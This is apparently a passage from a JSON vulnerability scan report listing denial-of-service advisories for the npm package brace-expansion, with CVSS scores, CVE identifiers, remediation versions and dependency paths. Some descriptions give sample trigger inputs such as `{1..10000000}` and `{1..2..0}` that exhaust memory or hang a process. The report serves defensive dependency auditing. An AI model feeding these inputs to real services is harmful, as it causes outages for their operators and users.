"baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": 